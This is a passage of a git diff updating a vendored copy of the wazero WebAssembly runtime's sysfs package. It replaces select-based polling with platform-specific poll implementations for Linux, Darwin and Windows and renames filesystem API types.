fs.FileMode, f *os.File) fsapi.File { +func newOsFile(path string, flag experimentalsys.Oflag, perm fs.FileMode, f *os.File) fsapi.File { // Windows cannot read files written to a directory after it was opened. // This was noticed in #1087 in zig tests. Use a flag instead of a // different type. @@ -26,7 +23,7 @@ func newOsFile(path string, flag fsapi.Oflag, perm fs.FileMode, f *os.File) fsap // implement api.File. type osFile struct { path string - flag fsapi.Oflag + flag experimentalsys.Oflag perm fs.FileMode file *os.File fd uintptr @@ -44,7 +41,7 @@ type osFile struct { cachedSt *cachedStat } -// cachedStat returns the cacheable parts of fsapi.Stat_t or an error if they +// cachedStat returns the cacheable parts of sys.Stat_t or an error if they // couldn't be retrieved. func (f *osFile) cachedStat() (dev uint64, ino sys.Inode, isDir bool, errno experimentalsys.Errno) { if f.cachedSt == nil { @@ -55,19 +52,19 @@ func (f *osFile) cachedStat() (dev uint64, ino sys.Inode, isDir bool, errno expe return f.cachedSt.dev, f.cachedSt.ino, f.cachedSt.isDir, 0 } -// Dev implements the same method as documented on fsapi.File +// Dev implements the same method as documented on sys.File func (f *osFile) Dev() (uint64, experimentalsys.Errno) { dev, _, _, errno := f.cachedStat() return dev, errno } -// Ino implements the same method as documented on fsapi.File +// Ino implements the same method as documented on sys.File func (f *osFile) Ino() (sys.Inode, experimentalsys.Errno) { _, ino, _, errno := f.cachedStat() return ino, errno } -// IsDir implements the same method as documented on fsapi.File +// IsDir implements the same method as documented on sys.File func (f *osFile) IsDir() (bool, experimentalsys.Errno) { _, _, isDir, errno := f.cachedStat() return isDir, errno @@ -75,19 +72,19 @@ func (f *osFile) IsDir() (bool, experimentalsys.Errno) { // IsAppend implements File.IsAppend func (f *osFile) IsAppend() bool { - return f.flag&fsapi.O_APPEND == fsapi.O_APPEND + return f.flag&experimentalsys.O_APPEND == experimentalsys.O_APPEND } -// SetAppend implements the same method as documented on fsapi.File +// SetAppend implements the same method as documented on sys.File func (f *osFile) SetAppend(enable bool) (errno experimentalsys.Errno) { if enable { - f.flag |= fsapi.O_APPEND + f.flag |= experimentalsys.O_APPEND } else { - f.flag &= ^fsapi.O_APPEND + f.flag &= ^experimentalsys.O_APPEND } // Clear any create flag, as we are re-opening, not re-creating. - f.flag &= ^fsapi.O_CREAT + f.flag &= ^experimentalsys.O_CREAT // appendMode (bool) cannot be changed later, so we have to re-open the // file. https://github.com/golang/go/blob/go1.20/src/os/file_unix.go#L60 @@ -99,7 +96,7 @@ var _ reopenFile = (*fsFile)(nil).reopen func (f *osFile) reopen() (errno experimentalsys.Errno) { // Clear any create flag, as we are re-opening, not re-creating. - f.flag &= ^fsapi.O_CREAT + f.flag &= ^experimentalsys.O_CREAT _ = f.close() f.file, errno = OpenFile(f.path, f.flag, f.perm) @@ -114,17 +111,17 @@ func (f *osFile) IsNonblock() bool { // SetNonblock implements the same method as documented on fsapi.File func (f *osFile) SetNonblock(enable bool) (errno experimentalsys.Errno) { if enable { - f.flag |= fsapi.O_NONBLOCK + f.flag |= experimentalsys.O_NONBLOCK } else { - f.flag &= ^fsapi.O_NONBLOCK + f.flag &= ^experimentalsys.O_NONBLOCK } - if err := setNonblock(f.fd, enable); err != nil { - return fileError(f, f.closed, experimentalsys.UnwrapOSError(err)) + if errno = setNonblock(f.fd, enable); errno != 0 { + return fileError(f, f.closed, errno) } return 0 } -// Stat implements the same method as documented on fsapi.File +// Stat implements the same method as documented on sys.File func (f *osFile) Stat() (sys.Stat_t, experimentalsys.Errno) { if f.closed { return sys.Stat_t{}, experimentalsys.EBADF @@ -140,7 +137,7 @@ func (f *osFile) Stat() (sys.Stat_t, experimentalsys.Errno) { return st, errno } -// Read implements the same method as documented on fsapi.File +// Read implements the same method as documented on sys.File func (f *osFile) Read(buf []byte) (n int, errno experimentalsys.Errno) { if len(buf) == 0 { return 0, 0 // Short-circuit 0-len reads. @@ -157,7 +154,7 @@ func (f *osFile) Read(buf []byte) (n int, errno experimentalsys.Errno) { return } -// Pread implements the same method as documented on fsapi.File +// Pread implements the same method as documented on sys.File func (f *osFile) Pread(buf []byte, off int64) (n int, errno experimentalsys.Errno) { if n, errno = pread(f.file, buf, off); errno != 0 { // Defer validation overhead until we've already had an error. @@ -166,7 +163,7 @@ func (f *osFile) Pread(buf []byte, off int64) (n int, errno experimentalsys.Errn return } -// Seek implements the same method as documented on fsapi.File +// Seek implements the same method as documented on sys.File func (f *osFile) Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) { if newOffset, errno = seek(f.file, offset, whence); errno != 0 { // Defer validation overhead until we've already had an error. @@ -182,23 +179,14 @@ func (f *osFile) Seek(offset int64, whence int) (newOffset int64, errno experime return } -// PollRead implements the same method as documented on fsapi.File -func (f *osFile) PollRead(timeout *time.Duration) (ready bool, errno experimentalsys.Errno) { - fdSet := platform.FdSet{} - fd := int(f.fd) - fdSet.Set(fd) - nfds := fd + 1 // See https://man7.org/linux/man-pages/man2/select.2.html#:~:text=condition%20has%20occurred.-,nfds,-This%20argument%20should - count, err := _select(nfds, &fdSet, nil, nil, timeout) - if errno = experimentalsys.UnwrapOSError(err); errno != 0 { - // Defer validation overhead until we've already had an error. - errno = fileError(f, f.closed, errno) - } - return count > 0, errno +// Poll implements the same method as documented on fsapi.File +func (f *osFile) Poll(flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) { + return poll(f.fd, flag, timeoutMillis) } // Readdir implements File.Readdir. Notably, this uses "Readdir", not // "ReadDir", from os.File. -func (f *osFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.Errno) { +func (f *osFile) Readdir(n int) (dirents []experimentalsys.Dirent, errno experimentalsys.Errno) { if f.reopenDir { // re-open the directory if needed. f.reopenDir = false if errno = adjustReaddirErr(f, f.closed, f.reopen()); errno != 0 { @@ -212,7 +200,7 @@ func (f *osFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.E return } -// Write implements the same method as documented on fsapi.File +// Write implements the same method as documented on sys.File func (f *osFile) Write(buf []byte) (n int, errno experimentalsys.Errno) { if len(buf) == 0 { return 0, 0 // Short-circuit 0-len writes. @@ -226,7 +214,7 @@ func (f *osFile) Write(buf []byte) (n int, errno experimentalsys.Errno) { return } -// Pwrite implements the same method as documented on fsapi.File +// Pwrite implements the same method as documented on sys.File func (f *osFile) Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Errno) { if n, errno = pwrite(f.file, buf, off); errno != 0 { // Defer validation overhead until we've already had an error. @@ -235,7 +223,7 @@ func (f *osFile) Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Err return } -// Truncate implements the same method as documented on fsapi.File +// Truncate implements the same method as documented on sys.File func (f *osFile) Truncate(size int64) (errno experimentalsys.Errno) { if errno = experimentalsys.UnwrapOSError(f.file.Truncate(size)); errno != 0 { // Defer validation overhead until we've already had an error. @@ -244,27 +232,27 @@ func (f *osFile) Truncate(size int64) (errno experimentalsys.Errno) { return } -// Sync implements the same method as documented on fsapi.File +// Sync implements the same method as documented on sys.File func (f *osFile) Sync() experimentalsys.Errno { return fsync(f.file) } -// Datasync implements the same method as documented on fsapi.File +// Datasync implements the same method as documented on sys.File func (f *osFile) Datasync() experimentalsys.Errno { return datasync(f.file) } -// Utimens implements the same method as documented on fsapi.File -func (f *osFile) Utimens(times *[2]syscall.Timespec) experimentalsys.Errno { +// Utimens implements the same method as documented on sys.File +func (f *osFile) Utimens(atim, mtim int64) experimentalsys.Errno { if f.closed { return experimentalsys.EBADF } - err := futimens(f.fd, times) + err := futimens(f.fd, atim, mtim) return experimentalsys.UnwrapOSError(err) } -// Close implements the same method as documented on fsapi.File +// Close implements the same method as documented on sys.File func (f *osFile) Close() experimentalsys.Errno { if f.closed { return 0 diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll.go new file mode 100644 index 0000000000..f5c9829529 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll.go @@ -0,0 +1,18 @@ +//go:build windows || linux || darwin + +package sysfs + +import ( + "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/internal/fsapi" +) + +// poll implements `Poll` as documented on sys.File via a file descriptor. +func poll(fd uintptr, flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno sys.Errno) { + if flag != fsapi.POLLIN { + return false, sys.ENOTSUP + } + fds := []pollFd{newPollFd(fd, _POLLIN, 0)} + count, errno := _poll(fds, timeoutMillis) + return count > 0, errno +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.go new file mode 100644 index 0000000000..1f7f890937 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.go @@ -0,0 +1,55 @@ +package sysfs + +import ( + "unsafe" + + "github.com/tetratelabs/wazero/experimental/sys" +) + +// pollFd is the struct to query for file descriptor events using poll. +type pollFd struct { + // fd is the file descriptor. + fd int32 + // events is a bitmap containing the requested events. + events int16 + // revents is a bitmap containing the returned events. + revents int16 +} + +// newPollFd is a constructor for pollFd that abstracts the platform-specific type of file descriptors. +func newPollFd(fd uintptr, events, revents int16) pollFd { + return pollFd{fd: int32(fd), events: events, revents: revents} +} + +// _POLLIN subscribes a notification when any readable data is available. +const _POLLIN = 0x0001 + +// _poll implements poll on Darwin via the corresponding libc function. +func _poll(fds []pollFd, timeoutMillis int32) (n int, errno sys.Errno) { + var fdptr *pollFd + nfds := len(fds) + if nfds > 0 { + fdptr = &fds[0] + } + n1, _, err := syscall_syscall6( + libc_poll_trampoline_addr, + uintptr(unsafe.Pointer(fdptr)), + uintptr(nfds), + uintptr(int(timeoutMillis)), + uintptr(unsafe.Pointer(nil)), + uintptr(unsafe.Pointer(nil)), + uintptr(unsafe.Pointer(nil))) + return int(n1), sys.UnwrapOSError(err) +} + +// libc_poll_trampoline_addr is the address of the +// `libc_poll_trampoline` symbol, defined in `poll_darwin.s`. +// +// We use this to invoke the syscall through syscall_syscall6 imported below. +var libc_poll_trampoline_addr uintptr + +// Imports the select symbol from libc as `libc_poll`. +// +// Note: CGO mechanisms are used in darwin regardless of the CGO_ENABLED value +// or the "cgo" build flag. See /RATIONALE.md for why. +//go:cgo_import_dynamic libc_poll poll "/usr/lib/libSystem.B.dylib" diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.s b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.s new file mode 100644 index 0000000000..e04fca583b --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.s @@ -0,0 +1,8 @@ +// lifted from golang.org/x/sys unix +#include "textflag.h" + +TEXT libc_poll_trampoline<>(SB), NOSPLIT, $0-0 + JMP libc_poll(SB) + +GLOBL ·libc_poll_trampoline_addr(SB), RODATA, $8 +DATA ·libc_poll_trampoline_addr(SB)/8, $libc_poll_trampoline<>(SB) diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_linux.go new file mode 100644 index 0000000000..dab7bb2cab --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_linux.go @@ -0,0 +1,57 @@ +package sysfs + +import ( + "syscall" + "time" + "unsafe" + + "github.com/tetratelabs/wazero/experimental/sys" +) + +// pollFd is the struct to query for file descriptor events using poll. +type pollFd struct { + // fd is the file descriptor. + fd int32 + // events is a bitmap containing the requested events. + events int16 + // revents is a bitmap containing the returned events. + revents int16 +} + +// newPollFd is a constructor for pollFd that abstracts the platform-specific type of file descriptors. +func newPollFd(fd uintptr, events, revents int16) pollFd { + return pollFd{fd: int32(fd), events: events, revents: revents} +} + +// _POLLIN subscribes a notification when any readable data is available. +const _POLLIN = 0x0001 + +// _poll implements poll on Linux via ppoll. +func _poll(fds []pollFd, timeoutMillis int32) (n int, errno sys.Errno) { + var ts syscall.Timespec + if timeoutMillis >= 0 { + ts = syscall.NsecToTimespec(int64(time.Duration(timeoutMillis) * time.Millisecond)) + } + return ppoll(fds, &ts) +} + +// ppoll is a poll variant that allows to subscribe to a mask of signals. +// However, we do not need such mask, so the corresponding argument is always nil. +func ppoll(fds []pollFd, timespec *syscall.Timespec) (n int, err sys.Errno) { + var fdptr *pollFd + nfd := len(fds) + if nfd != 0 { + fdptr = &fds[0] + } + + n1, _, errno := syscall.Syscall6( + uintptr(syscall.SYS_PPOLL), + uintptr(unsafe.Pointer(fdptr)), + uintptr(nfd), + uintptr(unsafe.Pointer(timespec)), + uintptr(unsafe.Pointer(nil)), // sigmask is currently always ignored + uintptr(unsafe.Pointer(nil)), + uintptr(unsafe.Pointer(nil))) + + return int(n1), sys.UnwrapOSError(errno) +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_unsupported.go new file mode 100644 index 0000000000..ebe8a6fa92 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_unsupported.go @@ -0,0 +1,13 @@ +//go:build !linux && !darwin && !windows + +package sysfs + +import ( + "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/internal/fsapi" +) + +// poll implements `Poll` as documented on fsapi.File via a file descriptor. +func poll(uintptr, fsapi.Pflag, int32) (bool, sys.Errno) { + return false, sys.ENOSYS +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_windows.go new file mode 100644 index 0000000000..82c8b2bafd --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_windows.go @@ -0,0 +1,224 @@ +package sysfs + +import ( + "syscall" + "time" + "unsafe" + + "github.com/tetratelabs/wazero/experimental/sys" +) + +var ( + procWSAPoll = modws2_32.NewProc("WSAPoll") + procGetNamedPipeInfo = kernel32.NewProc("GetNamedPipeInfo") +) + +const ( + // _POLLRDNORM subscribes to normal data for read. + _POLLRDNORM = 0x0100 + // _POLLRDBAND subscribes to priority band (out-of-band) data for read. + _POLLRDBAND = 0x0200 + // _POLLIN subscribes a notification when any readable data is available. + _POLLIN = (_POLLRDNORM | _POLLRDBAND) +) + +// pollFd is the struct to query for file descriptor events using poll. +type pollFd struct { + // fd is the file descriptor. + fd uintptr + // events is a bitmap containing the requested events. + events int16 + // revents is a bitmap containing the returned events. + revents int16 +} + +// newPollFd is a constructor for pollFd that abstracts the platform-specific type of file descriptors. +func newPollFd(fd uintptr, events, revents int16) pollFd { + return pollFd{fd: fd, events: events, revents: revents} +} + +// pollInterval is the interval between each calls to peekNamedPipe in selectAllHandles +const pollInterval = 100 * time.Millisecond + +// _poll implements poll on Windows, for a subset of cases. +// +// fds may contain any number of file handles, but regular files and pipes are only processed for _POLLIN. +// Stdin is a pipe, thus it is checked for readiness when present. Pipes are checked using PeekNamedPipe. +// Regular files always immediately reported as ready, regardless their actual state and timeouts. +// +// If n==0 it will wait for the given timeout duration, but it will return sys.ENOSYS if timeout is nil, +// i.e. it won't block indefinitely. The given ctx is used to allow for cancellation, +// and it is currently used only in tests. +// +// The implementation actually polls every 100 milliseconds (pollInterval) until it reaches the +// given timeout (in millis). +// +// The duration may be negative, in which case it will wait indefinitely. The given ctx is +// used to allow for cancellation, and it is currently used only in tests. +func _poll(fds []pollFd, timeoutMillis int32) (n int, errno sys.Errno) { + if fds == nil { + return -1, sys.ENOSYS + } + + regular, pipes, sockets, errno := partionByFtype(fds) + nregular := len(regular) + if errno != 0 { + return -1, errno + } + + // Ticker that emits at every pollInterval. + tick := time.NewTicker(pollInterval) + tickCh := tick.C + defer tick.Stop() + + // Timer that expires after the given duration. + // Initialize afterCh as nil: the select below will wait forever. + var afterCh <-chan time.Time + if timeoutMillis >= 0 { + // If duration is not nil, instantiate the timer. + after := time.NewTimer(time.Duration(timeoutMillis) * time.Millisecond) + defer after.Stop() + afterCh = after.C + } + + npipes, nsockets, errno := peekAll(pipes, sockets) + if errno != 0 { + return -1, errno + } + count := nregular + npipes + nsockets + if count > 0 { + return count, 0 + } + + for { + select { + case <-afterCh: + return 0, 0 + case <-tickCh: + npipes, nsockets, errno := peekAll(pipes, sockets) + if errno != 0 { + return -1, errno + } + count = nregular + npipes + nsockets + if count > 0 { + return count, 0 + } + } + } +} + +func peekAll(pipes, sockets []pollFd) (npipes, nsockets int, errno sys.Errno) { + npipes, errno = peekPipes(pipes) + if errno != 0 { + return + } + + // Invoke wsaPoll with a 0-timeout to avoid blocking. + // Timeouts are handled in pollWithContext instead. + nsockets, errno = wsaPoll(sockets, 0) + if errno != 0 { + return + } + + count := npipes + nsockets + if count > 0 { + return + } + + return +} + +func peekPipes(fds []pollFd) (n int, errno sys.Errno) { + for _, fd := range fds { + bytes, errno := peekNamedPipe(syscall.Handle(fd.fd)) + if errno != 0 { + return -1, sys.UnwrapOSError(errno) + } + if bytes > 0 { + n++ + } + } + return +} + +// wsaPoll is the WSAPoll function from winsock2. +// +// See https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsapoll +func wsaPoll(fds []pollFd, timeout int) (n int, errno sys.Errno) { + if len(fds) > 0 { + sockptr := &fds[0] + ns, _, e := syscall.SyscallN( + procWSAPoll.Addr(), + uintptr(unsafe.Pointer(sockptr)), + uintptr(len(fds)), + uintptr(timeout)) + if e != 0 { + return -1, sys.UnwrapOSError(e) + } + n = int(ns) + } + return +} + +// ftype is a type of file that can be handled by poll. +type ftype uint8 + +const ( + ftype_regular ftype = iota + ftype_pipe + ftype_socket +) + +// partionByFtype checks the type of each fd in fds and returns 3 distinct partitions +// for regular files, named pipes and sockets. +func partionByFtype(fds []pollFd) (regular, pipe, socket []pollFd, errno sys.Errno) { + for _, pfd := range fds { + t, errno := ftypeOf(pfd.fd) + if errno != 0 { + return nil, nil, nil, errno + } + switch t { + case ftype_regular: + regular = append(regular, pfd) + case ftype_pipe: + pipe = append(pipe, pfd) + case ftype_socket: + socket = append(socket, pfd) + } + } + return +} + +// ftypeOf checks the type of fd and return the corresponding ftype. +func ftypeOf(fd uintptr) (ftype, sys.Errno) { + h := syscall.Handle(fd) + t, err := syscall.GetFileType(h) + if err != nil { + return 0, sys.UnwrapOSError(err) + } + switch t { + case syscall.FILE_TYPE_CHAR, syscall.FILE_TYPE_DISK: + return ftype_regular, 0 + case syscall.FILE_TYPE_PIPE: + if isSocket(h) { + return ftype_socket, 0 + } else { + return ftype_pipe, 0 + } + default: + return ftype_regular, 0 + } +} + +// isSocket returns true if the given file handle +// is a pipe. +func isSocket(fd syscall.Handle) bool { + r, _, errno := syscall.SyscallN( + procGetNamedPipeInfo.Addr(), + uintptr(fd), + uintptr(unsafe.Pointer(nil)), + uintptr(unsafe.Pointer(nil)), + uintptr(unsafe.Pointer(nil)), + uintptr(unsafe.Pointer(nil))) + return r == 0 || errno != 0 +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/readfs.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/readfs.go index 1e96e2b4dd..59e331a298 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/readfs.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/readfs.go @@ -2,57 +2,25 @@ package sysfs import ( "io/fs" - "syscall" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" ) -// NewReadFS is used to mask an existing fsapi.FS for reads. Notably, this allows -// the CLI to do read-only mounts of directories the host user can write, but -// doesn't want the guest wasm to. For example, Python libraries shouldn't be -// written to at runtime by the python wasm file. -func NewReadFS(fs fsapi.FS) fsapi.FS { - if _, ok := fs.(*readFS); ok { - return fs - } else if _, ok = fs.(fsapi.UnimplementedFS); ok { - return fs // unimplemented is read-only - } - return &readFS{fs} -} - -type readFS struct { - fsapi.FS -} - -// OpenFile implements the same method as documented on fsapi.FS -func (r *readFS) OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) { - // TODO: Once the real implementation is complete, move the below to - // /RATIONALE.md. Doing this while the type is unstable creates - // documentation drift as we expect a lot of reshaping meanwhile. - // - // Callers of this function expect to either open a valid file handle, or - // get an error, if they can't. We want to return ENOSYS if opened for - // anything except reads. - // - // Instead, we could return a fake no-op file on O_WRONLY. However, this - // hurts observability because a later write error to that file will be on - // a different source code line than the root cause which is opening with - // an unsupported flag. - // - // The tricky part is os.RD_ONLY is typically defined as zero, so while the - // parameter is named flag, the part about opening read vs write isn't a - // typical bitflag. We can't compare against zero anyway, because even if - // there isn't a current flag to OR in with that, there may be in the - // future. What we do instead is mask the flags about read/write mode and - // check if they are the opposite of read or not. - switch flag & (fsapi.O_RDONLY | fsapi.O_WRONLY | fsapi.O_RDWR) { - case fsapi.O_WRONLY, fsapi.O_RDWR: - if flag&fsapi.O_DIRECTORY != 0 { +type ReadFS struct { + experimentalsys.FS +} + +// OpenFile implements the same method as documented on sys.FS +func (r *ReadFS) OpenFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) (experimentalsys.File, experimentalsys.Errno) { + // Mask the mutually exclusive bits as they determine write mode. + switch flag & (experimentalsys.O_RDONLY | experimentalsys.O_WRONLY | experimentalsys.O_RDWR) { + case experimentalsys.O_WRONLY, experimentalsys.O_RDWR: + // Return the correct error if a directory was opened for write. + if flag&experimentalsys.O_DIRECTORY != 0 { return nil, experimentalsys.EISDIR } return nil, experimentalsys.ENOSYS - default: // fsapi.O_RDONLY (or no flag) so we are ok! + default: // sys.O_RDONLY (integer zero) so we are ok! } f, errno := r.FS.OpenFile(path, flag, perm) @@ -62,80 +30,80 @@ func (r *readFS) OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsap return &readFile{f}, 0 } -// Mkdir implements the same method as documented on fsapi.FS -func (r *readFS) Mkdir(path string, perm fs.FileMode) experimentalsys.Errno { +// Mkdir implements the same method as documented on sys.FS +func (r *ReadFS) Mkdir(path string, perm fs.FileMode) experimentalsys.Errno { return experimentalsys.EROFS } -// Chmod implements the same method as documented on fsapi.FS -func (r *readFS) Chmod(path string, perm fs.FileMode) experimentalsys.Errno { +// Chmod implements the same method as documented on sys.FS +func (r *ReadFS) Chmod(path string, perm fs.FileMode) experimentalsys.Errno { return experimentalsys.EROFS } -// Rename implements the same method as documented on fsapi.FS -func (r *readFS) Rename(from, to string) experimentalsys.Errno { +// Rename implements the same method as documented on sys.FS +func (r *ReadFS) Rename(from, to string) experimentalsys.Errno { return experimentalsys.EROFS } -// Rmdir implements the same method as documented on fsapi.FS -func (r *readFS) Rmdir(path string) experimentalsys.Errno { +// Rmdir implements the same method as documented on sys.FS +func (r *ReadFS) Rmdir(path string) experimentalsys.Errno { return experimentalsys.EROFS } -// Link implements the same method as documented on fsapi.FS -func (r *readFS) Link(_, _ string) experimentalsys.Errno { +// Link implements the same method as documented on sys.FS +func (r *ReadFS) Link(_, _ string) experimentalsys.Errno { return experimentalsys.EROFS } -// Symlink implements the same method as documented on fsapi.FS -func (r *readFS) Symlink(_, _ string) experimentalsys.Errno { +// Symlink implements the same method as documented on sys.FS +func (r *ReadFS) Symlink(_, _ string) experimentalsys.Errno { return experimentalsys.EROFS } -// Unlink implements the same method as documented on fsapi.FS -func (r *readFS) Unlink(path string) experimentalsys.Errno { +// Unlink implements the same method as documented on sys.FS +func (r *ReadFS) Unlink(path string) experimentalsys.Errno { return experimentalsys.EROFS } -// Utimens implements the same method as documented on fsapi.FS -func (r *readFS) Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno { +// Utimens implements the same method as documented on sys.FS +func (r *ReadFS) Utimens(path string, atim, mtim int64) experimentalsys.Errno { return experimentalsys.EROFS } // compile-time check to ensure readFile implements api.File. -var _ fsapi.File = (*readFile)(nil) +var _ experimentalsys.File = (*readFile)(nil) type readFile struct { - fsapi.File + experimentalsys.File } -// Write implements the same method as documented on fsapi.File. +// Write implements the same method as documented on sys.File. func (r *readFile) Write([]byte) (int, experimentalsys.Errno) { return 0, r.writeErr() } -// Pwrite implements the same method as documented on fsapi.File. +// Pwrite implements the same method as documented on sys.File. func (r *readFile) Pwrite([]byte, int64) (n int, errno experimentalsys.Errno) { return 0, r.writeErr() } -// Truncate implements the same method as documented on fsapi.File. +// Truncate implements the same method as documented on sys.File. func (r *readFile) Truncate(int64) experimentalsys.Errno { return r.writeErr() } -// Sync implements the same method as documented on fsapi.File. +// Sync implements the same method as documented on sys.File. func (r *readFile) Sync() experimentalsys.Errno { return experimentalsys.EBADF } -// Datasync implements the same method as documented on fsapi.File. +// Datasync implements the same method as documented on sys.File. func (r *readFile) Datasync() experimentalsys.Errno { return experimentalsys.EBADF } -// Utimens implements the same method as documented on fsapi.File. -func (r *readFile) Utimens(*[2]syscall.Timespec) experimentalsys.Errno { +// Utimens implements the same method as documented on sys.File. +func (r *readFile) Utimens(int64, int64) experimentalsys.Errno { return experimentalsys.EBADF } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename.go index 5ec22539e4..f7d84ef7ae 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename.go @@ -1,4 +1,4 @@ -//go:build !windows +//go:build !windows && !plan9 package sysfs diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_plan9.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_plan9.go new file mode 100644 index 0000000000..474cc7595e --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_plan9.go @@ -0,0 +1,14 @@ +package sysfs + +import ( + "os" + + "github.com/tetratelabs/wazero/experimental/sys" +) + +func rename(from, to string) sys.Errno { + if from == to { + return 0 + } + return sys.UnwrapOSError(os.Rename(from, to)) +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select.go deleted file mode 100644 index ac0861fda4..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select.go +++ /dev/null @@ -1,36 +0,0 @@ -package sysfs - -import ( - "time" - - "github.com/tetratelabs/wazero/internal/platform" -) - -// _select exposes the select(2) syscall. This is named as such to avoid -// colliding with they keyword select while not exporting the function. -// -// # Notes on Parameters -// -// For convenience, we expose a pointer to a time.Duration instead of a pointer to a syscall.Timeval. -// It must be a pointer because `nil` means "wait forever". -// -// However, notice that select(2) may mutate the pointed Timeval on some platforms, -// for instance if the call returns early. -// -// This implementation *will not* update the pointed time.Duration value accordingly. -// -// See also: https://github.com/golang/sys/blob/master/unix/syscall_unix_test.go#L606-L617 -// -// # Notes on the Syscall -// -// Because this is a blocking syscall, it will also block the carrier thread of the goroutine, -// preventing any means to support context cancellation directly. -// -// There are ways to obviate this issue. We outline here one idea, that is however not currently implemented. -// A common approach to support context cancellation is to add a signal file descriptor to the set, -// e.g. the read-end of a pipe or an eventfd on Linux. -// When the context is canceled, we may unblock a Select call by writing to the fd, causing it to return immediately. -// This however requires to do a bit of housekeeping to hide the "special" FD from the end-user. -func _select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) { - return syscall_select(n, r, w, e, timeout) -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.go deleted file mode 100644 index eabf4f455b..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.go +++ /dev/null @@ -1,45 +0,0 @@ -package sysfs - -import ( - "syscall" - "time" - "unsafe" - - "github.com/tetratelabs/wazero/internal/platform" -) - -// syscall_select invokes select on Darwin, with the given timeout Duration. -// We implement our own version instead of relying on syscall.Select because the latter -// only returns the error and discards the result. -func syscall_select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) { - var t *syscall.Timeval - if timeout != nil { - tv := syscall.NsecToTimeval(timeout.Nanoseconds()) - t = &tv - } - result, _, errno := syscall_syscall6( - libc_select_trampoline_addr, - uintptr(n), - uintptr(unsafe.Pointer(r)), - uintptr(unsafe.Pointer(w)), - uintptr(unsafe.Pointer(e)), - uintptr(unsafe.Pointer(t)), - 0) - res := int(result) - if errno == 0 { - return res, nil - } - return res, errno -} - -// libc_select_trampoline_addr is the address of the -// `libc_select_trampoline` symbol, defined in `select_darwin.s`. -// -// We use this to invoke the syscall through syscall_syscall6 imported below. -var libc_select_trampoline_addr uintptr - -// Imports the select symbol from libc as `libc_select`. -// -// Note: CGO mechanisms are used in darwin regardless of the CGO_ENABLED value -// or the "cgo" build flag. See /RATIONALE.md for why. -//go:cgo_import_dynamic libc_select select "/usr/lib/libSystem.B.dylib" diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.s b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.s deleted file mode 100644 index 16e65e8ec6..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.s +++ /dev/null @@ -1,8 +0,0 @@ -// lifted from golang.org/x/sys unix -#include "textflag.h" - -TEXT libc_select_trampoline<>(SB), NOSPLIT, $0-0 - JMP libc_select(SB) - -GLOBL ·libc_select_trampoline_addr(SB), RODATA, $8 -DATA ·libc_select_trampoline_addr(SB)/8, $libc_select_trampoline<>(SB) diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_linux.go deleted file mode 100644 index aae5e48f66..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_linux.go +++ 